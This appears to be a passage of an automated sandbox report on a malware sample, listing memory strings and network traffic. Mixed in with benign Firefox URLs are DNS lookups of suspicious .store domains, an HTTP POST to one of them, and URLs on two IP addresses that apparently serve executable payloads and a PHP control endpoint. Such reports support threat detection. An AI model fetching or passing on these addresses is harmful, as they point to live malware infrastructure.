Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9DF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3023518743.0000025E7D225000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2997779943.000001CB31D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: main/url-classifier-skip-urlsdiscoverystream.spoc.impressionsget isRunningOnCompositorhttps://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3062161151.0000025E81CAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3053736608.0000025E818A5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82450000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000019.00000002.3053736608.0000025E818A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.youtube.com equals www.youtube.com (Youtube)
Source: firefox.exe, 00000019.00000002.3062161151.0000025E81CA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81CE6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3068152789.0000025E82433000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: firefox.settings.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: prod.remote-settings.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: telemetry-incoming.r53-2.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: support.mozilla.org
Source: global traffic	DNS traffic detected: DNS query: us-west1.prod.sumo.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: www.youtube.com
Source: global traffic	DNS traffic detected: DNS query: www.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.wikipedia.org
Source: global traffic	DNS traffic detected: DNS query: youtube-ui.l.google.com
Source: global traffic	DNS traffic detected: DNS query: dyna.wikimedia.org
Source: global traffic	DNS traffic detected: DNS query: star-mini.c10r.facebook.com
Source: global traffic	DNS traffic detected: DNS query: www.reddit.com
Source: global traffic	DNS traffic detected: DNS query: twitter.com
Source: global traffic	DNS traffic detected: DNS query: reddit.map.fastly.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3009852946.0000025E7106A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/B
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/K
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/P
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe-
Source: 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe47
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeP
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeUg
Source: 21024c5511.exe, 00000009.00000003.2997206794.00000000012EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.2259589967.0000000001761000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exefaC
Source: 996773cd54.exe, 0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.00000000006CF000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000024.00000002.3084290708.0000000000D86000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000024.00000002.3084290708.0000000000D47000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/3
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000C8E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000CE1000.00000004.00000020.00020000.00000000.sdmp, num.exe, 0000001A.00000002.2876974078.0000000000CF0000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.00000000006D6000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000024.00000002.3084290708.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: 996773cd54.exe, 0000000A.00000002.2813065067.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, 996773cd54.exe, 0000001D.00000002.3000201409.000000000067B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phps
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/I
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Q
Source: 996773cd54.exe, 0000000A.00000002.2813065067.0000000000A48000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000024.00000002.3084290708.0000000000D86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/m
Source: firefox.exe, 00000019.00000002.3069732243.0000025E825BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000019.00000002.3069732243.0000025E825BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000019.00000002.3069732243.0000025E825BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000019.00000002.3069732243.0000025E825BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000019.00000002.3018136513.0000025E7CE7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000019.00000002.3023518743.0000025E7D279000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%sresource://gre/modules/ExtHandlerService.sys.mjsreso
Source: firefox.exe, 00000019.00000002.3038492553.0000025E80CC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 21024c5511.exe, 0000000E.00000003.2999480700.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2973927647.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2979596133.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2958108070.0000000001064000.00000004.00000020.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2933392825.0000000001064000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microXW
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2105697595.0000000005F9D000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 00000009.00000003.2783822067.0000000005BFE000.00000004.00000800.00020000.00000000.sdmp, 21024c5511.exe, 0000000E.00000003.2909020887.0000000005ABD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3062161151.0000025E81C49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000019.00000002.3059082762.0000025E81B17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 00000019.00000002.3040789860.0000025E80E47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D19000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000019.00000003.2950883095.0000025E896E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000019.00000003.2952140231.0000025E89654000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3031276524.0000025E7EF00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.3000052815.0000016C6FFA0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3003646499.000001CB322A0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C861000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000019.00000002.3013624425.0000025E7C826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000019.00000002.3009852946.0000025E71003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/strings
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-04/schema#
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-06/schema#
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://json-schema.org/draft-07/schema#
Source: firefox.exe, 00000019.00000002.3072562784.0000025E826E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3064052338.0000025E81D6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org
Source: firefox.exe, 00000019.00000002.3028948986.0000025E7E9A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/additionalProperties
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsFeatureGate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsShowLessFrequentlyCap
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/addonsUITreatment
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appId
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/appName
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchBlockingEnabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/mdnFeatureGate
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/bestMatchEnabledhttp://mozilla.org/#/properties/mdnFeatureGateresour
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/featureIdhttp:/
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0/items/properties/slug
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/0http://mozilla.org/#/properties/featureIds/itemshttp
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/enabled
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/featureId
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D78000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/items/properties/value/ad
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/features/itemshttp://mozilla.org/#
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/ratio
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/1/items/properties/slug
Source: firefox.exe, 00000019.00000002.3064052338.0000025E81D7D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/#/properties/branches/anyOf/2/items
